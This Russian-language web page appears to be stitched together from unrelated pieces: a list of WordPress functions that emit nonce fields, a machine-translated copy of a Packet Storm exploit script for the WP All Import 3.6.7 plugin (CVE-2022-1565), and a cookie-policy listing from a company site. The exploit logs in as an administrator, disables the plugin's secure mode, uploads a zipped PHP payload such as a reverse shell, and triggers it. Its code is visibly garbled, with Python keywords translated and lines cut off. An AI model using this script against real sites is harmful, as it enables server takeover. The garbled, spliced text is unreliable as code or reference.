Разное

Wpnonce: wp_nonce_url() – Добавляет в URL проверочный ключ nonce, который используется для защиты: ?_wpnonce=9d6bd884a1.

09.07.2023

wp_nonce_field(int|string $action = -1, string $name = ‘_wpnonce’, bool $referer = true, bool $echo = true) Получить или отобразить скрытое поле nonce для форм.

wp-admin/includes/post.php:the_block_editor_meta_boxes()

Отправляет бланки мета-боксов.

wp-admin/includes/post.php:the_block_editor_meta_box_post_form_hidden_fields()

Отправляет скрытый бланк,необходимый для формы метабоксов.

wp-admin/includes/network.php:network_step1()

Распечатайте шаг 1 для процесса установки сети.

wp-admin/includes/class-wp-screen.php:WP_Screen::render_screen_options()

Отобразите вкладку «Параметры экрана».

wp-admin/includes/theme-install.php:install_themes_upload()
wp-admin/includes/class-wp-list-table.php:WP_List_Table::display_tablenav()

Генерирует навигацию по таблице над или под таблицей

wp-admin/includes/misc. php:admin_color_scheme_picker()

Отображает средство выбора цветовой схемы администратора по умолчанию (используется в user-edit.php).

wp-admin/includes/class-wp-theme-install-list-table.php:WP_Theme_Install_List_Table::display()

Отображает таблицу установки темы.

wp-admin/includes/plugin-install.php:install_plugins_upload()

Отображает форму для загрузки плагинов из zip-файлов.

wp-admin/includes/dashboard.php:_wp_dashboard_control_callback()

Выводит элементы управления для текущего виджета приборной панели.

wp-admin/includes/dashboard.php:wp_dashboard()

Отображает приборную панель.

wp-admin/includes/dashboard.php:wp_dashboard_quick_press()

Отображение виджета «Быстрый черновик» и создание черновиков.

wp-admin/includes/plugin.php:settings_fields()

Выводит поля nonce, action и option_page для страницы настроек.

wp-admin/includes/template.php:find_posts_div()

Выводит модальное окно,используемое для прикрепления медиа к сообщениям или страницам на экране медиа-листа.

wp-admin/includes/template.php:wp_comment_reply()

Выводит строчный ответ на комментарий в виде формы в таблице списка Комментарии.

wp-admin/includes/template.php:_list_meta_row()

Выводит одну строку публичных метаданных в метабоксе «Пользовательские поля».

wp-admin/includes/template.php:meta_form()

Распечатайте форму в мета-поле «Пользовательские поля».

wp-admin/includes/class-wp-themes-list-table.php:WP_Themes_List_Table::display()

Отображает таблицу тем.

wp-admin/includes/media.php:media_upload_type_form()

Выводится форма загрузки унаследованного носителя для данного типа носителя.

wp-admin/includes/media. php:media_upload_type_url_form()

Вывод старой формы для загрузки на внешние носители.

wp-admin/includes/media.php:media_upload_gallery_form()

Добавляет форму галереи для загрузки iframe.

wp-admin/includes/media.php:media_upload_library_form()

Выводится форма загрузки старых носителей для мультимедийной библиотеки.

wp-admin/includes/meta-boxes.php:post_comment_meta_box()

Отображает комментарии к сообщению.

wp-admin/includes/meta-boxes.php:link_categories_meta_box()

Отображает поля формы категорий ссылок.

wp-admin/includes/meta-boxes.php:post_categories_meta_box()

Отображает поля формы категорий записей.

wp-admin/includes/class-wp-post-comments-list-table.php:WP_Post_Comments_List_Table::display()
wp-admin/includes/class-wp-comments-list-table. php:WP_Comments_List_Table::extra_tablenav()
wp-admin/includes/class-wp-comments-list-table.php:WP_Comments_List_Table::display()

Отображает таблицу комментариев.

wp-admin/includes/class-wp-terms-list-table.php:WP_Terms_List_Table::inline_edit()

Выводит скрытую строку,отображаемую при встроенном редактировании

wp-admin/includes/file.php:request_filesystem_credentials()

Отображает пользователю форму для запроса сведений о FTP/SSH для подключения к файловой системе.

wp-admin/includes/class-wp-posts-list-table.php:WP_Posts_List_Table::inline_edit()

Выводит скрытую строку,отображаемую при встроенном редактировании

wp-admin/includes/class-custom-image-header.php:Custom_Image_Header::step_1()

Отображение первого шага пользовательской страницы изображения заголовка.

wp-admin/includes/class-custom-image-header. php:Custom_Image_Header::step_2()

Отображение второго шага пользовательской страницы изображения заголовка.

wp-admin/includes/ms.php:confirm_delete_users()
wp-admin/update-core.php:list_core_update()

Перечисляет доступные обновления ядра.

wp-admin/update-core.php:list_plugin_updates()

Отображение формы обновления плагинов.

wp-admin/update-core.php:list_theme_updates()

Отобразите форму обновления тем.

wp-admin/update-core.php:list_translation_updates()

Отобразите форму обновления переводов.

wp-admin/includes/class-custom-background.php:Custom_Background::admin_page()

Отображение пользовательской фоновой страницы.

wp-includes/ms-functions.php:signup_nonce_fields()

Добавляет поле одноразового номера на страницу регистрации.

wp-includes/comment-template.php:wp_comment_form_unfiltered_html_nonce()

Отображает маркер формы для нефильтрованных комментариев.

wp-includes/class-wp-editor.php:_WP_Editors::wp_link_dialog()

Диалог для внутренней перелинковки.

WordPress WP All Import 3.6.7 Remote Code Execution ≈ Packet Storm

# Название эксплойта: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
# Дата: 05.11.2022
# Автор эксплойта: AkuCyberSec (https://github.com/AkuCyberSec)
# Домашняя страница поставщика: https://www.wpallimport.com/
# Ссылка на программное обеспечение: https://wordpress.org/plugins/wp-all-import/advanced/ (прокрутите вниз, чтобы выбрать версию)
# Версия: <= 3.6.7 (проверено: 3.6.7)
# Протестировано на: WordPress 6.1 (не зависит от операционной системы, поскольку этот эксплойт НЕ предоставляет полезную нагрузку)
# CVE: CVE-2022-1565

#!/usr/bin/python
запросы на импорт
import re
import os

# ВНИМАНИЕ: Этот эксплойт НЕ включает полезную нагрузку.
# Кроме того, убедитесь, что у вас уже есть действительные учетные данные администратора. Для работы этого эксплойта требуется учетная запись администратора.
# Если файл с тем же именем, что и полезная нагрузка, уже находится на сервере, загрузка будет ПЕРЕЗАПИСАТЬ его
#
# Обратите внимание, что я НЕ исследователь, обнаруживший эту уязвимость

# # # # # ОПИСАНИЕ УЯЗВИМОСТИ # # # # #
# Плагин WP All Import уязвим для произвольной загрузки файлов из-за отсутствия проверки типа файла через файл wp_all_import_get_gz.php в версиях до 3.6.7 включительно.
# Это позволяет аутентифицированным злоумышленникам с правами администратора и выше загружать произвольные файлы на сервер уязвимых сайтов, что может сделать возможным удаленное выполнение кода.

# # # # # КАК РАБОТАЕТ ЭТОТ ЭКСПЛОЙТ # # # # #
# 1. Подготовьте zip-файл:
# - создайте файл PHP с вашей полезной нагрузкой (например, обратная оболочка)
# - установите переменную "payload_file_name" с именем этого файла (например, "shell. php")
# - создать zip файл с полезной нагрузкой
# - установить переменную "zip_file_to_upload" с PATH этого файла (например, "/root/shell.zip")
#
# 2. Войти под учетной записью администратора:
# - установить переменная «target_url» с базовым URL цели (НЕ заканчивайте строку косой чертой /)
# - установить переменную "admin_user" с именем пользователя учетной записи администратора
# - установить переменную "admin_pass" с паролем учетной записи администратора
#
# 3. Получить wpnonce с помощью метода get_wpnonce_upload_file()
# - на самом деле есть 2 типа wpnonce:
# - первый wpnonce будет получен с помощью метода retrieve_wpnonce_edit_settings() внутри класса PluginSetting.
# Этот wpnonce позволяет нам изменить настройки плагина (см. шаг 4)
# - второй wpnonce будет получен с помощью метода retrieve_wpnonce_upload_file() внутри класса PluginSetting.
# Этот wpnonce позволяет нам загрузить файл
#
# 4. Проверьте, включен ли безопасный режим плагина, используя метод check_if_secure_mode_is_enabled() внутри класса PluginSetting
# - если безопасный режим включен, содержимое zip будет помещено в папку со случайным именем.
# Эксплойт отключит безопасный режим.
# При отключении безопасного режима содержимое zip будет помещено в основную папку (проверьте переменную payload_url).
# Для включения и отключения безопасного режима вызывается метод set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)
# - если безопасный режим НЕ включен, эксплойт загрузит файл, но НЕ включит безопасный режим.
#
# 5. Загрузите файл с помощью метода upload_file(wpnonce_upload_file: str)
# - после загрузки сервер должен ответить HTTP 200 OK, но это не означает, что загрузка завершена успешно.
# Ответ будет содержать JSON, который выглядит так:
# {"jsonrpc":"2.0","error":{"code":102,"message":"Убедитесь, что загружаемый вами файл является допустимым ZIP-файлом. "},"is_valid":false," id":"id"}
# Как видите, там написано, что произошла ошибка с кодом 102, но, согласно проведенным мной тестам, загрузка завершена
#
# 6. Повторно включите безопасный режим если он был включен с помощью метода switch_back_to_secure_mode()
#
# 7. Активируйте полезную нагрузку с помощью методаactivate_payload()
# — вы можете определить метод для активации полезной нагрузки.
# Причина этого выбора в том, что этот эксплойт НЕ предоставляет никакой полезной нагрузки.
# Поскольку вы можете использовать пользовательскую полезную нагрузку, вы можете активировать ее с помощью HTTP-запроса POST вместо HTTP-запроса GET или передать параметры ? # # # # #
# Согласно PoC этой уязвимости, предоставленному WPSCAN, мы должны иметь возможность получить загруженные файлы, посетив «страницу управляемого импорта»
# Я не знаю почему, но после загрузки любого файла я не мог видеть загруженный файл на этой странице (может быть, требуется версия Pro?)
# Мне нужно было найти обходной путь, что я и сделал, используя этот вариант.
# Страница WPSCAN: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7

# # # # # КАКИЕ-ЛИБО ПРОБЛЕМЫ С ЭКСПЛОЙТОМ? # # # # #
# Чтобы эксплойт работал, учтите следующее:
# 1. проверьте target_url и учетные данные администратора
# 2. проверьте путь к zip-файлу и имя полезной нагрузки (они могут быть разными)
# 3. если вы тестируете локально, попробуйте установить verify_ssl_certificate на False
# 4. вы можете использовать print_response(http_response ) для дальнейшего изучения

# Настройте следующие переменные:
target_url = "https://vulnerable.wp/wordpress" # Целевой базовый URL
admin_user = "admin" # Имя пользователя администратора
admin_pass = "password" # Пароль администратора
zip_file_to_upload = "/shell.zip" # Путь к ZIP-файлу (например, /root/shell.zip)
payload_file_name = "shell.php" # Имя файла внутри zip-файла (например, shell.php). Этот файл будет вашей полезной нагрузкой (например, обратной оболочкой)
verify_ssl_certificate = True # Если True, сценарий завершится, если SSL-сертификат НЕдействителен. Вы можете установить его на False при локальном тестировании, если это необходимо.

# НЕ изменяйте следующие переменные
wp_login_url = target_url + "/wp-login.php" # Страница входа в WordPress
wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Настройки страницы плагина
payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Полезная нагрузка будет быть загруженным здесь
re_enable_secure_mode = False
session = request.Session()

# Этот класс помогает получить настройки плагина, включая одноразовые номера, используемые для изменения настроек и загрузки файлов.
class PluginSetting:
# Шаблоны регулярных выражений
pattern_setting_secure_mode = r' http_response: запросы. Ответ
is_secure_mode_enabled: bool
wpnonce_edit_settings: str
wpnonce_upload_file: str

def __init__(self, http_response: requests.Response):
self.http_response = http_response
self.check_if_secure_mode_is_enabled()
self.retrieve_wpnonce_edit_settings()
self.retrieve_wpnonce_upload_file()

def check_if_secure_mode_is_enabled(self):
# To tell если безопасный режим включен, вы можете проверить, установлен ли флажок с идентификатором «secure»
#
regex_search = re.search (self.pattern_setting_secure_mode, self.http_response.text)
, если не regex_search:
print("Что-то пошло не так: не удалось получить настройки плагина. Вы администратор?")
# print_response(self.http_response) # для отладки regex_search.group()

def retrieve_wpnonce_edit_settings(self):
# Вы можете найти этот wpnonce в исходном файле, выполнив поиск следующего ввода hidden:
#
# 052e2438f9 будет wpnonce для редактирования настроек. вы администратор?")
# print_response(self.http_response) # для отладки
exit()

self.wpnonce_edit_settings = regex_search.group(1)

def retrieve_wpnonce_upload_file(self):
# Вы можете найти этот wpnonce в исходный файл, выполнив поиск следующей переменной JavaScript: var wp_all_import_security = 'dee75fdb8b';
# dee75fdb8b будет wpnonce для загрузки
regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)
if not regex_search:
print("Что-то пошло не так: не удалось получить wpnonce загрузки из переменной wp_all_import_security" )
# print_response(self.http_response) # для отладки " : admin_pass, "wp-submit": "Войти", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }
login_cookie = { "wordpress_test_cookie" : "Проверка файлов cookie WP" }

# Для параметра allow_redirects установлено значение False, потому что, когда учетные данные верны, WordPress отвечает с ошибкой 302.
# Поиск этого кода ответа HTTP упрощает определение правильности учетных данных или нет
print("Попытка входа...")
response = session.post(url=wp_login_url, data=data, cookies=login_cookie , allow_redirects=False, verify=verify_ssl_certificate)

, если response.status_code == 302:
print("Выполнен вход успешно!")
return

# print_response(response) # для отладки
print("Не удалось войти в систему. Если учетные данные верны, попробуйте распечатать ответ для дальнейшего расследования.")
exit()

def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> Requests.Response:
global session
if set_to_enabled:
print("Включение безопасного режима...")
else:
print("Отключение безопасного режима.. .")

print("Изменить настройки значения wpnonce: " + wpnonce)
data = { "secure" : (1 если set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }
response = session. post(url=wp_all_import_page_settings, data=data , verify=verify_ssl_certificate)

if response.status_code == 403:
print("Что-то пошло не так: Код статуса HTTP 403 (Запрещено). Неправильный wpnonce?")
# print_response(response) # для отладки
exit()
возврат ответа

def switch_back_to_secure_mode():
global session

print("Повторное включение безопасного режима...")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)

if plugin_setting.is_secure_mode_enabled: print("Безопасный режим уже включен")
return

response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)
new_plugin_setting = PluginSetting(response)
если не new_plugin_setting.is_secure_mode_enabled:
print("Что-то пошло не так: безопасный режим не был повторно включен")
# print_response(response) # для отладки
exit()
print("Безопасный режим был повторно включен!")

def get_wpnonce_upload_file( ) -> str:
global session, re_enable_secure_mode
# Если безопасный режим включен, эксплойт пытается отключить его, а затем возвращает wpnonce для загрузки
# Если безопасный режим уже отключен, он просто возвращает wpnonce для загрузки

print("Проверка включения безопасного режима. ..")
response = session.get(url=wp_all_import_page_settings)
plugin_setting = PluginSetting(response)

если не plugin_setting.is_secure_mode_enabled:
re_enable_secure_mode = False
print("Небезопасный режим уже включен!") 9001pno 4 printnce_setting.w («Безопасный режим включен. Сценарий отключит безопасный режим для загрузки, а затем снова включит его».)
response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)

new_plugin_setting = PluginSetting(response)

if new_plugin_setting.is_secure_mode_enabled:
print("Что-то пошло не так: безопасный режим не отключен")
# print_response(response) # для отладки
exit()

print("Secure режим отключен!")
re_enable_secure_mode = True
return new_plugin_setting.wpnonce_upload_file

def upload_file(wpnonce_upload_file: str):
global session

print("Загрузка файла...")
print("Загрузить значение wpnonce: " + wpnonce_upload_file)

zip_file_name = os. path.basename(zip_file_to_upload)
upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file
files = { ":async-upload_file
files =" (zip_file_name, open(zip_file_to_upload, 'rb'))}
data = { "name" : zip_file_name }
response = session.post(url=upload_url, files=files, data=data)

if response.status_code == 200:
print("Сервер ответил HTTP 200 OK. Загрузка должна быть завершена.")
print("Полезная нагрузка должна быть здесь: " + payload_url)
print("Если вы не можете найти полезную нагрузку по этому URL, попробуйте распечатать ответ для дальнейшего изучения")
# print_response(response) # для отладки
return 1
else:
print("Во время загрузки что-то пошло не так. Попробуйте распечатать ответ для дальнейшего расследования")
# print_response(response) # для отладки
return 0

defactivate_payload():
global session

print ("Активация полезной нагрузки. ..")
response = session.get(url=payload_url)

if response.status_code != 200:
print("Что-то пошло не так: не удалось найти полезную нагрузку по адресу " + payload_url)
# print_response(response) # для отладки
return

def print_response(response:requests.Response):
print(response.status_code)
print(response.text)

# Точка входа
def Main():
print("Цель: " + target_url)
print(" Учетные данные: " + admin_user + ":" + admin_pass)

# Выполнить вход
wp_login()

# Получить wpnonce для загрузки.
# It disables Secure Mode if needed, then returns the wpnonce
wpnonce_upload_file = get_wpnonce_upload_file()

# Upload the file
file_uploaded = upload_file(wpnonce_upload_file)

# Re-enable Secure Mode if needed
if re_enable_secure_mode:
switch_back_to_secure_mode()

# Активировать полезную нагрузку
if file_uploaded:
enable_payload()

Main()

Политика в отношении файлов cookie (США) | Medirix

Purpose pending investigation

slider-*

ssPanelHeight

wistia

n2-colors

ssLayersShown

ssPanelTop

exp*

ssLayersHeight

ssPanelLeft

cmplz_marketing

365 days

cmplz_consent_status

365 дней

ss-slider-editor-popup34

cmplz_statistics-anonymous

365 days

cmplz_policy_id

365 days

cmplz_functional

365 days

wp-autosave-1

undefined

notify_count

notify_flag

notify_stamp

cmplz_preferences

365 days

cmplz_statistics

365 days

qm-container-height

qm-container-width

cmplz_choice

365 дней

cmplzDashboardDefaultsSet

365 days

cmplz_toggle_data_id_0

365 days

cmplz_toggle_data_id_1

365 days

cmplz_toggle_data_id_2

365 days

cmplz_toggle_data_id_4

365 days

cmplzFormValues ​​

365 days

cmplz_layout

365 days

cmplz_toggle_data_id_3

365 дней

jetpack_sso_nonce

jetpack_sso_original_request

__https://medirixusa. com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__data

__https: //medirixusa.com/wp-json/zbscrm/v1/companies? //medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__data

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__data__ttl__

://us_https.medi.medi. com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__data__ttl__

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__protocol

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__thumbprint

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__thumbprint__ttl__

__https ://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__data

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__thumbprint

_http://http://httpsmediri_us_x .com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__thumbprint

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=c9d6bb054e__protocol__ttl__

__https://medirixusa.

com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__thumbprint__ttl__

__https: //medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=4cf2c2335f__protocol__ttl__

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__data__ttl1_4 _9000s com/wp-json/zbscrm/v1/companies?_wpnonce=bc925fc088__protocol__ttl__

__https: //medirixusa.com/wp-json/zbscrm/v1/companies? /v1/companies?_wpnonce=0becf59044__протокол

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__thumbprint__ttl__

__https1pancris/zbscrm/zpc-j.com/wpnonce=0becf59044__thumbprint ?_wpnonce=0becf59044__thumbprint

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__data__ttl__

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__protocol__ttl__

__https://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=0becf59044__data

__https ://medirixusa.com/wp-json/zbscrm/v1/companies?_wpnonce=e98107cb09__thumbprint

__https://medirixusa.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *